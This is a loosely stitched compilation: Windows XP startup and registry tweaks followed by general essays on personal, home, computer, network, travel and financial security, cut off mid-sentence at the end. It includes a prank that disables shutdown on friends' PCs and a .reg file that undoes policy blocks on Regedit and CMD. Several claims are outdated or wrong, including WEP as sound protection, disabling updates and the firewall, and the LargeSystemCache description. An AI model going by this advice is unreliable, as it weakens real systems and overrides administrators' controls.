Whenever You Start Your Computer

Whenever you start your computer, you are faced with a few moments of thumb twiddling while Windows XP boots and prompts you to log on. Although you should expect to wait for a few moments, sometimes Windows XP seems to boot rather slowly. In fact, you may notice that over a period of time the PC that used to roar to life seems a bit sluggish instead. Fortunately, you can perform several techniques that help Windows XP get the bootup speed you want. This chapter explores how to put these techniques to work. Some of the things may already have been discussed in some threads earlier Stopping Unneeded Startup Services Along with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot. Caution: Exercise caution when stopping services. If you do not know what a service does or are unsure of the ramifications of stopping the service, leave it alone. Some services are critical to Windows XP's operations, so make sure you understand what the service is before you disable it. To reduce the number of services that start on bootup, you can access two different areas of Windows XP. The first is the System Configuration Utility. The Services tab shows you the services that start when the computer boots. You can stop a service from starting by simply clearing the check box next to the service and clicking OK. However, before you do so, there is another way to disable services that you may prefer because the interface gives you more information about the service in question.

Open Control Panel/Administrative ToolsServices or else select Start/Run, type services.msc, and click OK. Either way, you see the Services console. I prefer to use the Services console instead of the System Configuration Utility because it describes what the service does. Additionally, you can double-click a service and examine its properties. Notice the Startup Type column in Figure 4-2. This information lists whether the service is automatic or manual. Manual services are only started in Windows XP when you start a process that requires the service. Some other process may require the service that has a "dependency" relationship with it; in this case, the dependency service will start, as well. Because these services do not start automatically when you boot Windows XP, you do not need to do anything with manual services. However, all services listed as automatic start when Windows XP boots. These are the services that increase boot time. As I have mentioned, many of them are necessary and important, so you should not stop automatic services from booting unless you are sure of the ramifications. You can get this information by looking at the Description column. Here's a quick look at common services you may want to live without: Automatic Updates: This service enables Windows XP to check the Web automatically for updates. If you don't want to use Automatic Updates, you can disable the service. You can always check for updates manually at the Windows Update Web site. Computer Browser: If your computer is not on a network, you don't need this service. If you are on a network, leave it alone. DHCP Client: If you are not on a network, you do not need this service. If you are on a small workgroup, you can still increase boot time by configuring manual IP addresses (which I explore later in this chapter). DNS Client: If you are not on a network, you do not need this service. If you are, leave it alone. Error Reporting and Event Log: You don't have to use these services but

they can be very helpful, so I would leave them configured as automatic. Fax: If you don't use your computer for fax services, you can disable this one. Help and Support: If you never use the Windows XP Help and Support Center (found on the Start menu), you can disable this service. IMAPI CD-Burning COM: This service enables you to burn CDs on your computer. If you never burn CDs, you can disable the service. Indexing Service: Your computer keeps an index of files but if you rarely search for files, the service is just a resource hog. You can stop it and turn the service to manual. Windows Firewall/Internet Connection Sharing: If you do not use these features, you can disable them. Infrared Monitor: If you do not use infrared devices, you can disable this service. Messenger: This service sends alert messages on a local area network (it is not the same as Windows Messenger). If you are not on a network, you can disable this service. Print Spooler: If you do not do any printing from the computer, you can disable this service. If you print, make sure you leave it as automatic. Remote Registry: This service allows remote users to modify the Registry on your computer. If you are not on a network, you can disable this service. System Restore Service: This service allows you to use System Restore. If you have turned off System Restore anyway, you do not need to turn off the service. If you do, you turn off System Restore. Themes: If you do not use themes, you can disable this service. Windows Image Acquisition: If you do not use scanners or digital cameras, you can disable this service. Wireless Zero Configuration: If do not use wireless networking devices, you can disable this service. You may have a number of other automatic services, depending on

software and other configurations on your computer. So it's a good idea to look through the services and learn more about them. If you double-click a service, a Properties dialog box appears Notice that on the General tab, you see a Startup Type drop-down menu. If you want to change an automatic service to manual, select Manual here and click OK. As a general rule, don't disable a service unless you are sure you will never use it. However, manual configuration allows the service to be started when you find it necessary, thus speeding up your boot time. However, before you change a service to manual, look at the Dependencies tab (see Figure 4-4). This tab shows you which other services depend upon the service you are considering changing. Keep in mind that services are necessary for the vast functionality you get with Windows XP. Change only those services that you understand and do not use. How you use your Windows XP computer should be the best guide in terms of optional startup services. Tips: The Indexing service and the System Restore service take up a lot of disk space and system resources across the board. You can live without the Indexing service but I suggest that you keep using System Restore. It works great when you are in a bind and this is one case where the loss of speed may not be worth the ramifications of not using System Restore. Speed Tips and Tricks for Windows XP Startup Aside from startup programs, services, and the Prefetch folder, there are a number of other startup procedures and issues you can modify to help Windows XP start faster. The following sections explore those tips and tricks. Manual IP Addressing on Small Office/Home Networks Windows XP is configured to help you take care of networking. It uses the TCP/IP protocol for networking in workgroups, or what you might call small office or home networks that do not use a dedicated server. The problem is that automatic IP addressing can be slow. When your computer boots, it has to query the network to see what IP addresses are already in use and then assign itself one. If you want to speed up the boot time a bit, consider manually assigning IP addresses to all computers on the network. This way, the network computers do not have to

worry about locating an automatic IP address. Because one is manually configured, the operating system doesn't have to spend time solving this problem. This isn't a networking book, however, so I won't delve into the implications of using a manual IP address, but if you are using a computer that functions as a host computer to the Internet (using Internet Connection Sharing [ICS]), you can get into connectivity problems if you change the configuration of the IP address. However, you can still work around this problem by starting with the ICS host computer. Select Start/Connect To/Show All Connections. Right-click your network adapter card and click Properties. On the General tab, select TCP/IP in the list of services and click the Properties button. In the TCP/IP properties, you can see if you use an automatic or manual IP address. In the example in Figure 4-5, I have configured a manual IP address of 90.0.0.1 and a default subnet mask. The other computers on my office network each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3, 90.0.0.4, and so on. This way, each computer has a permanent IP address, which helps increase boot time. Note that if you change the IP addresses of your computers, they must all use the same subnet mask. A default subject mask of 255.255.255.0 will keep you in good shape. Make sure you understand the implications of changing IP addresses on your network. If you have no networking experience at all, you may be wiser to leave the automatic IP addressing as is and try to gain some speed using the additional suggestions in this chapter. Disabling Recent Documents History Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me. The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how: 1. Open the Registry Editor (select Start/Run, type regedit, and click OK). 2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer. 3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created. 4. Set the Data Value to 1 to enable the restriction. 5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect. Disabling the Boot Logo You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as

possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk. (But if you are not having problems with your computer, this isn't such a big deal.) To remove the boot logo, follow these steps: 1. Select Start/Run, type msconfig, and click OK. 2. In the System Configuration Utility, click the BOOT.INI tab. 3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK. Removing Unwanted Fonts One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them. For instance, you may have foreign language fonts and other symbol fonts (such as Wingdings) that you never use. To delete unneeded fonts, follow these steps: 1. Open the Fonts folder in Control Panel. 2. Select Edit/Select All and then Edit/Copy. 3. Create a new folder on your desktop, open it, and select Edit/Paste. 4. In this new folder, delete any of the fonts you do not want. 5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete. 6. Go back to your new desktop folder and click Edit/Select All. 7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder. Tip: You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process. Stopping Remote Assistance and Remote Desktop Sharing In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them. Note: If you are interested in using Remote Desktop or Remote Assistance, see my book Windows XP for Power Users: Power Pack published by John Wiley & Sons. 1. Open the Start menu, right-click My Computer, and choose Properties. 2. Click the Remote Tab. 3. Clear both check boxes to disable Remote Assistance and Remote Desktop. Speeding Up the Dual-Boot Timeout If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dualboot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to

10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration. Follow these steps: 1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini. 2. Open the file with Notepad (which is what opens it by default). 3. Change the Timeout value to 10 (see Figure 4-11). 4. Select File/Save and close Notepad. Speeding Up Your PPPoE Connection If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section. 1. Select Start/Connect to/Show All Connections. 2. Open the TCP/IP properties for your LAN network interface card. 3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network. Reducing the Wait Time When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them. Edit three different Registry settings to change this: 1. Open the Registry Editor. 2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. Select WaitToKillAppTimeout and set the value to 1000. 3. Select the HungAppTimeout value and set it to 1000 as well. 4 . Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout \newline value and set it to 1000 as well. 5. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l. Select the WaitToKillServiceTimeout value and set it to 1000. 6. Close the Registry Editor. Automatically Killing Tasks on Shutdown You know the drill. You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how: 1. Open the Registry Editor. 2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. 3. Highlight the value AutoEndTasks and change the value to 1. 4. Close the Registry Editor.

Regedit
Regedit, You may be thinking "Regedit, what the hell is that?!" or if you have a reasonable amount of experience with computers "Oh awesome a page about what this program is.

What is Regedit?
Regedit is basically a program that lets you edit ceratin values in your computer (short for "Registry Editor"). BEWARE, DON'T JUST PLAY AROUND IN REGEDIT, SOME THINGS CAN SERIOUSLY HARM YOUR COMPUTER IF CHANGED OR REMOVED. You can do really cool things with it such as remove buttons on your computer .e.g remove the shutdown option or make a message appear at startup. Before you do anything you will need to know how to access the program.: So first go to your start menu Then click run Now type "regedit" without the quotes Regedit should open (if it doesnt contact me)

How to display a legal notice on startup
This is how to make a legal notice appear on startup: Open Regedit Navigate to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\syste m" legalnoticecaption:"enter your notice caption here" legalnoticetext:"enter your legal notice text here"

Add admin user to welcome screen:
Start the Registry Editor Go to: HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \ Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

Kill Processes immediately:
When logging off, you sometimes get an ³End Task´ dialog prompt, indicating a program that doesn¶t shut itself down. You can suppress the prompts and have Windows kill these programs automatically when you log off. In regedit, find key HKEY_CURRENT_USER\Control Panel\Desktop Look for the value AutoEndTasks, and change it from 0 to 1.

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer. Regedit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer "NoClose"="DWORD:1"

Show Superhidden Files:
Even if you turn on show hidden files in Windows Explorer some files will remain hidden. These files are super hidden. Set the registry value below to 1.

Unblock Regedit and CMD prompt:
Save this file is a .reg file then execute it REGEDIT4 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAp p] "Disabled"=dword:0 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem] "DisableRegistryTools"=dword:0

Memory Performance
Improving memory performance can be done simply by preventing your hard drive from being used for cache. This is only useful with 256Mb or more of RAM. Everything that you'll need to edit here can be found in HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management So of course add [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] to your *.reg file. Disable Paging Executive

This will prevent pages sections from RAM going to the hard drive. If you have a large amount of RAM at least 256Mb (I suggest 512) you might want to keep the data in your RAM to improve your performance considerably due to reduced amount of hard drive swappage. The entry that you will want to modify is called DisablePagingExecutive. Changing this from 0 to 1 will keep the data in your RAM. "DisablePagingExecutive"=dword:00000001 System Cache Boost The XP kernel can be loaded into your RAM with a simple registry edit. This can greatly improve performance since the NT Kernel will always be in your RAM. With this edit you will allocate roughly 4Mb of your RAM for the kernel. Sometimes more RAM is used but most of the time it is only 4Mb. The entry that you will need to find is called LargeSystemCache and you'll need to change this from 0 to 1 in order to enable this. "LargeSystemCache"=dword:00000001 To put both of these RAM tweaks into use you'll add something like this to your reg file [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] "DisablePagingExecutive"=dword:00000001 "LargeSystemCache"=dword:00000001

The XP Prefetcher
Windows XP has a service called the Prefetcher. It basically monitors the different programs that start during startup and helps them launch faster. To find this tool browse to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters The important key is EnablePrefetcher. Default value for this is 3. You will want to try numbers between 1 and 6. 5 seems to work best for me but your mileage may vary. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters] "EnablePrefetcher"="5"

Personal security means more that simply hiring a bodyguard to keep you company - let¶s be honest: most of us can¶t afford a full-time bodyguard when we¶re trying to live our lives. It can take more than just a dabble of observation to really feel confident in all situations. A concerted effort can be made, though, to keep you safe in most situations. Passwords of all kinds need to be protected. Not only for your computer at work or email account, but your bank code, PIN number on phone calls, anything that requires a password. Don¶t be ashamed to cover your hand with your wallet or free hand while punching in a code, and hunching in towards the bank machine to block unwanted eyes is a good thing. When out and about, you generally want to make sure that you don¶t make yourself to be a target - people that appear to be observant and aware of their surroundings and what they are doing are far less likely to become victims of personal crime. This means, don¶t show off jewelry, don¶t be flashy with money, and don¶t give out your address or phone number unless you know who you¶re giving it to and are prepared to have them keep that information. Stay on well-lit streets at night, and stay with a group whenever possible while travelling on foot, otherwise take a licensed cab to avoid walking around altogether. In general, use common sense whether you are alone or in groups. Carrying a personal defense tool, like pepper spray, can buy you some time to escape in sticky situations, however, a better alternative is to learn one of the many martial arts of self-defense. Judo, jujitsu or aikido, for example, can be incredibly empowering to the individual, and they give you confidence in your daily life while allowing you to defend yourself when the need arises. If you have any diagnosed medical conditions or allergies, it can be virtually a requirement to have at a minimum a medical bracelet that identifies those concerns, as the bracelet will speak for you when you are unable to speak for yourself. People who live with a medical condition that affects their mobility should consider an emergency response system for their home. An unfortunate truth is that most accidents happen in the home, so be prepared to allow a way to call for help.

Considering the amount of time we spend in our homes, there is not doubt to why we spend so much time worrying about the safety and security within our homes. An easy way to make your home feel safe is to lock your doors - if someone is scouting your home, they will see that you always use keys to enter. Invest in an external motion sensor system to trigger a main external light to light up your front step, which is an easy to afford option - lights scare prowlers off. With that in mind, a few extra lights to illuminate your house can not only make the house a little safer, but also accent the house and any landscaping very nicely.

Investing in a basic home security system is worthwhile - if any exterior windows are doors are opened while the system is active, sirens will sound and a signal will be sent to an alarm monitoring company. Of course, by the time the police arrive, it will be 15 minutes or more later, so the monthly fees for monitoring may not be worth it, but the siren that sounds is normally loud enough to alert everyone in the house, as well as for several houses around. Most new houses include the wiring for a system as part of the standard build for the house, making it very easy to roll one out in the future. Consider investing in a fire-proof and water-proof safe if you have a higher end need for safety and valuable assets to protect. Fire-proof is a necessity, since the biggest risk to a home is fire, and water-proof is a requirement, since water will be used to put out said fire if you want to keep any irreplaceable documents, they need to be kept in a water-proof environment. Another option is to consider a safety deposit box at a local bank - they are far more affordable on a monthly basis. Learn about your neighborhood, and if your home is in a neighborhood with a higher rate of crime, consider installing bars on any ground-accessible windows - they are a visible sign of physical security. Also, keep your curtains closed on the main floor - they make it harder to see in if someone is trying to figure out if you have anything worth stealing. The safest home is one in a safe community. Be involved in your community - a strong community has a better chance of rejecting any negative criminal elements as well as supporting positive ones. Community programs like Neighborhood Watch encourage each member of a community to watch out for each other, and as a result, common crime in those neighborhoods is dramatically lower.

Regardless of the operating system, whether Windows or Mac, computers are inherently secure, and only become insecure when people turn them on and start interacting with them. Installing programs and connecting to the Internet are the two riskiest things that can be done to expose the vulnerabilities that may exist - ironically, those are the very two things that people first do with a new computer. Since the safest computer, one that is disconnected from the Internet and/or off, isn't very useful, there are some behaviors need can be adopted to lessen the risk. To begin with, control what you type in to any web page and send out on the Internet. Don't put your address, phone number, email address, etc, in a form unless you need to and can't avoid it. Avoiding saving all your passwords in a single file on your desktop, and set a password for logging on to your system and on your screen saver if your computer is ever available to other people. These may seem like inconveniences, but they are less inconvenient than the potential risks. Since the majority of risk comes from what the computer user does, the majority of risks depend on fooling the user to do something they didn't intend. Viruses are often sent by email, sometimes at a rate of greater than 10% of a user's mail, posing as innocent pictures

or other email attachments, trying to tempt the receiver into clicking on the attachment, and thus infecting their system. Once infected, the computer could either be sickened so that it crashes, bugged so that it passes personal information back to an unknown source, opened so that it can be taken over as a remote drone or zombie, and even begin infecting other computers. Clearly, this is not a fun game to play. As a general rule of thumb, never click on an email attachment unless you are 100% aware of the contents and were expecting that file to be sent to you - if you need to, confirm the contents with a phone call, as oftentimes, it can be faster to reinstall the operating system rather than deal with trying to remove the tendrils of multiple virus infections. Phishing, like a virus, is an act committed via email, however, in this case, it is an email attempting to fool the recipient into handing out confidential information. Official looking emails can be sent masquerading as a user's bank or more generic sites like Paypal or eBay asking the recipient to "confirm billing information" or to "verify your account". This social engineering technique is used in an attempt to get the recipient's credit card number or account passwords, and then to make purchases charged to the recipient. To avoid being phished, never provide personal information in a response to an email, and make it a habit to follow up with a phone call to the source to confirm the validity of any request. Often, simply by opening a new web browser and manually typing in the company's proper website is enough to bypass most foul attempts at phishing, since users are often misdirected to seemingly innocent, and nearly identical copies of these sites. Even if you are a well educated and protected computer user, you can't guarantee that anyone who uses your computer will be, so it is always smart to limit any potential damage a mistake could cause and install a few protective applications. There are dozens of reputable virus scanning software applications, and any one of them will catch the majority of problems, but also consider installing adware detection software. Some legitimate programs are paid in part via the ad revenue generated with a few extra popups on the desktops of users all over - installing software to kill that software will not only speed up your computer, but it will remove that Trojan horse, an application that seems innocent but hides an ulterior motive, and make your web browsing much more pleasant. The vast majority of viruses and Trojan applications are unfortunately written for the Windows platform of computers, owing to the dominance of those PCs in the market. As a result, there are very few viruses written to infect Mac OSX or Linux - that doesn't mean that users of those systems have to stop being concerned, just that the opportunity for malware or virus infections is much, much reduced. Regardless of the operating system, you should have a backup of any critical files, a task made much easier with CD-R and CDRW drives - your image folders, resumes and other important personal records can be turned into a hard copy that will survive even if your hard drive doesn't. There are more advanced backup management software options, however, they are beyond the needs of most average home users. Don't let the protective mindset stop at your computer - handheld computers called personal data assistants, or PDAs, are also susceptible to some of the same risks. Whoever finds your PDA if you lose it can steal your life, so make sure you take some precautions. PDAs, can be set to prompt for a password when turned on, which protects what is stored on the unit to a fair degree, since without the password, the only easy alternative is to reset the system from scratch, which deletes any personal content. There are also applications which can be used to encrypt passwords and financial information, like bank account numbers, so that sensitive information is kept even more safely.

Network security has become an explosively important job with the combined growth of the Internet, the businesses that depend on it, and the people that attempt to break their way in. In a network, a lot of the same security issues apply for computer security, but there are more systems that, if vulnerable, can infect each other and allow for additional informations to become available. Invest in and use a firewall to protect your network, either at home or in the office. Even the most basic home DSL routers include some firewalling software which do an adequate job of closing the ports of unwanted incoming or outgoing traffic, and considering the cost of those routers, there is no reason not to. Of course, it only helps if you've enabled it - you should always check that all ports are locked down or closed at all times and that you only open what ever ports are required. This can stop many viruses from entering the network and prevents operating system vulnerabilities from being exposed at all, which protects all of your internal systems and computers. More advanced networks and office LANs may require remote users to connect in to access folder shares, servers or services. A VPN, a virtual private network, will allow you to share these internal network resources from outside the network, while still keeping security in place. The traffic is encrypted, and passwords are used to prevent unwanted entry. To maintain a higher level of security, you can use a 2-step key system - you first enter your password, and then you enter a randomly generated multi-alpha-numeric key using a token. This token, which canbe made to rotate on a frequent basis, usually as often as every 30 or 60 seconds, means that an attempt to break in not only requires the password, but also the physical possession of the token, thus is of a considerably higher grade than a simple password. The safest way to implement a network is using a hard-wired network to connect your LAN together. While it may be slightly more expensive to draw the Ethernet cabling between all the rooms or points you want connected, it limits the places and ways that someone can break in to your LAN. Ultimately, they would have to be connected from the inside to one of those hard-wired points to connect or to break in from your WAN or Internet connection. If you do implement a wireless router, there are several security issues to be aware of. It is very common for people to sniff out open unprotected networks to use for downloading, especially when the content they are downloading is less than scrupulous, something that can affect both residential and commercial networks. You can easily avoid this with a few easy steps. Firstly, don't broadcast your SSID, basically, the digital name for your network without it, someone would have to guess blindly to be able to connect in to your LAN. Implement a wireless encryption protocol (WEP) which requires a password to connect with that enabled, a password is also required to connect to your LAN, and all the data is encrypted and thus much safer. If you are still concerned, you can block unauthorized MAC addresses - which limits the computers that can connect to the LAN to those you specify explicitly, use a non-standard wireless frequency range - which makes it a little more difficult for someone to snoop your traffic blindly, and you can disable DHCP and use a non-

standard block of internal addresses - both of which stop someone's ability to do anything even if they can somehow connect in. Once you've built your network and secured it, you still need to lock down the ports properly - with too many ports open, you expose vulnerabilities; with too many closed, you hamstring your ability to work and browse the web properly. Filesharing applications are common, especially for music and movies, but generally speaking, copyright issues dictate that most companies close those tight and don't allow users to install any software that can lead to illegal activities. Web browsing is a virtual necessity, whereas mail is a maybe web-based mail systems like Hotmail or Gmail don't need any additional ports opened, and instant messaging programs like MSN or Yahoo Messenger will need a port opened, but do you really want that open while your staff are trying to work? Remember that each application will require a port to be opened, and each open port is a vulnerability. Once you are open and have a program sharing on the Internet, you are visible to anyone else with that application, even if you aren't aware of them - check for any program options to disable this, or check carefully and only have the program running when you need to download something, closing the program immediately afterwards

Security is important in the workplace - most people spend a quarter of each week in their office - but security here means more than just personal health and safety. The single most important thing a company can do to improve itself from a security perspective is to look internally. Most offices are based directly or indirectly on sales, and with an aggressive sales force, almost any office can be made available for customer tours. Implementing a clean desk policy not only makes the sales force happy, but also help to focus staff on the day ahead while ensuring that security is kept in mind. Every stray piece of paper can carry a risk: usernames, passwords, IP addresses, customer names and phone numbers - all of which can be and should be considered confidential. A messy office atmosphere looks as if staff don't care about that information, and if staff can't track each piece of information, staff will find it very easy to loose what may be very valuable information. Make sure you have file storage at each desk, in drawers or on desks, and that staff are reviewed periodically to make sure they keep their spaces clean. To protect physical assets and to also help control internal theft, laptops, printers, and other expensive and reasonably light objects should be locked down to secure them. The corporate view of security tends to be even wider and the needs for the company can be farther reaching than that of an individual. In most countries, larger companies are legislated to have a health and safety committee, often requiring a management presence to ensure that concerns brought up are actually addressed. For disaster recovery, a company needs to make sure that all important data, customer info and files are stored somewhere where they can be backed up regularly - you never want to trust important data to a single computer or a single piece of paper. Although real cases of corporate espionage are rare, companies need to protect against phishing - people will try to break into a

network by calling someone, like a secretary or billing representative and ask for names, numbers, passwords and other confidential info - you'd be surprised how often this works and now that company has two problems: a security hole has been breached, and a legal liability has been raised. Even to and from work, employees with responsibility should be vigilant - be aware when carrying a briefcase or laptop bag, especially in areas like airports, bus stops and train stations. They are not only a target for thieves for the value of the systems, but also because a lot of people configure their laptops to connect automatically to the workplace from home, and you can expose your work infrastructure very easily - a hacker can walk right in to the most secure network with a preconfigured laptop under the right circumstances.

The last thing you want when you're traveling is stress - you want to get away from it all and have a nice vacation. You certainly don't want to spend the whole time on your toes, however, a few extra seconds of vigilance can save hours of later frustration. Before you go, research a bit about your destination. This means some of the major roadways, landmarks, public transit lines, and pictures from the area - three different sources will give you enough overall detail to know some of the area and some of the pitfalls, as every spot has it's own idiosyncrasies. By knowing where you're going, you will seem more confident and therefore, like less of a target. Look into the local laws and customs, as some countries have very different expectations of what is socially and culturally acceptable. Not only by following these customs, you will not stick out as much as an obvious "tourist", but some behavior accepted in other countries, like drinking, smoking, or even style of dress, could be cause for arrest. Ultimately, the local laws always prevail, regardless of what you may like or think. Respect for the local society and obedience to its laws will serve you as much as humility in the face of its local officials. As you arrive, check in immediately with your hotel. If you have any doubts as to the level of violence where you are traveling, check in also with your country's consulate and carry their address and phone number with you as you travel. Every country, no matter how civilized, has its own criminal elements and helpful locals, but even if you're excited about being in the city center of a tropical paradise, shopping is no fun carrying an armful of suitcases and you are just begging for a problem with any local criminals. To foil any local pick pockets, carry a "false wallet", one that carries very little cash and no credit cards in case you run into a problem, and hide your money stash in a money belt or even in your sock, assuming you are wearing pants. Use your hotel room's safe or the hotel's safety deposit box for any larger sums of money or valuables when you are away from your room, keep a copy of all of your travel documents for backup - traveler's check

receipts, passport, flight itinerary, etc. While it's not likely that they would be valuable to someone else, it may be helpful if you lose your copy. While you're away, don't forget the home you are leaving behind. Plan to have a friend or family member visit your house regularly - they can park their car in the driveway and pick up any mail left on your doorstep to make it seem inhabited. Make sure you have someone water and mow your lawn in the summer, rake leaves in the fall, and shovel your driveway of snow in the winter. Finally, by setting a timer on a few lights in a bedroom and in the kitchen, you can give the impression of a fully occupied home, which is enough to deter most thieves, leaving you with a safe home to which you can return.

As your family grows, so does the responsibility of a parent to protect their family and their children. No child has the wisdom to look out for themselves or the judgment to protect themselves. From birth, you should register each of your children with your local police "child find" program - they take their picture, fingerprints and personal data and store it, making it easier to track down in the case of emergency. With this registration, important information like blood type and medical history will be included which can be invaluable in an emergency. As your children grow older, have them memorize their first and last names, their phone number and their street address, in case they get lost. Teach them the basics of common sense: look both ways before crossing the street, don't talk to strangers, never take candy from a stranger - these phrases are all rooted in a common sense need. Also, teach them to trust police officers and fire ad rescue personnel - in an emergency, your children will need to know who they can trust. In the home, have an emergency plan and hold a family meeting annually to review it so that everybody knows what to do. Have a list handy in the kitchen by the phone, as this is a room where people spend the majority of the day in or near, and keep track of emergency phone numbers for police, fire, poison control, relatives to contact, etc. In your plan, include escape routes in case of fire or burglary, and a place to stay, like a nearby hotel, and a central phone number to call to check in, like a relative, a neighbor, or the police. A plan like this needs to be reviewed annually, so make every New Year's Day, for example, your Family Plan day - if your children are young, they may not appreciate it but you will be building a good habit, if they are older, you are giving them the tools to think properly under pressure and setting them up for success as an adult. A family password is also a good idea - as your children go to school, you may need to send a friend to pick them up when you are unable to - train your children to demand a password before allowing themselves to be picked up by anyone other than Mommy or Daddy. Unless the password is given, they should yell, make a scene, and seek out a teacher or policeman. This password can be something as simple as a favorite sports team or movie title, but it will comfort your child knowing that they are safe, and will comfort you knowing that they won't allow themselves to walk away without causing a fuss.

Holidays can still bring the same sense to bear - in busier places, like summer fairs or shopping malls during the Christmas holiday season, be extra vigilant, and as you arrive, plan on a place where everyone should meet if someone gets lost. Keep your children in sight, and if they are young enough, bring or borrow a stroller so that they can be controlled and make the day much easier.

A major aspect of someone's life, one of which is often overlooked for the potential vulnerability, is thier finances. You find less money then you thought you should have in your account and check your history, or you get a call from your credit card company asking if you have been traveling recently to somewhere you've never been. You can increase your own comfort level by becoming more familiar with the financial side of your life. It may sound like common sense, but you should still always shelter your hand as you enter your banking code, even by blocking the keypad with your body if you need to. Also, make sure you choose a PIN that is not easily associated with your name, address, phone number or birthdate - the more random it is, the more difficult it would be to guess from your personal info, or your family's. Check your bank and credit card statements monthly for fraudulent transactions - if you don't act immediately, it will be difficult to have them removed. A recent adaptation to the theft of credit card numbers is on the back of every card - here's a 3 digit code on all new credit cards which is becoming more commonly required when making online purchases and should never be required by any shopping done in-person or over the phone. Even something as simple as a pizza delivered to your door could turn into a fraudulent $3000 purchase of car parts by someone stealing this code, so always keep your card in your possession or within eyesight and arm's reach. If you are ever in doubt, call the store manager for assistance. Keep hard-copy records of all of your assets, investments and transactions and bill payments not only in case you lose the electronic info, but if there is ever a disagreement, you can pull out your paper copies to help straighten things out. It is not uncommon for someone to find out that they had forgotten about a small investment and lost track of it completely until the bank called them back several years later. Granted, this is a nice surprise, but not all surprises are nice. Of course, financial security also means taking care of your future and long term financial health. Diverisify your investments, follow the Wealthy Barber principal of saving at least a small portion of your paycheck every month. By putting aside a small amount of savings off of every paycheck, the long term power of compound interest can turn these small investments into a long term security blanket.

A growing concern, with all of the Internet access to financial and identity information, is the theft of your good name, who you are, your identity itself. In brief, someone could steal your credit card information and buy things with your money, ruining your credit, or they could copy your driver's license or social insurance number and then associate their face with that info, their next step could be getting bank loans or making large purchases in your name and leaving you in the lurch to clean up the mess they left. While it's impossible to completely protect your identity, there are several steps that can make it more secure, thereby making it harder to go after you than someone else who may be a much easier target. Many banks and institutions that have your personal information have a policy under new laws and regulations to either opt-in to allow your info to be shared with other companies, or to give you the option of opt-ing out. This data, including your name, address, age and other personal details, like buying habits, credit rating, or educational background, is often shared with 3rd party companies for marketing, targeted advertising, or can simply be resold to still other companies. Make sure you contact any institution or company, like banks, schools, etc, and request that it be kept private - the fewer companies that have access to any of your personal information, the better. Most major accounts, specifically banks, credit card companies and public utilities like telephone or hydro services can have a password or pin number put on the account that you have to verbally relay over the phone before effecting any changes or retrieving any information - often, the phone conversation with these firms will begin with the request of that PIN and confirmation of your address before they will answer any questions whatsoever. If you haven't already, proactively call any companies with which you have an account and request a password on your account to help protect you from having unwanted information shared, or 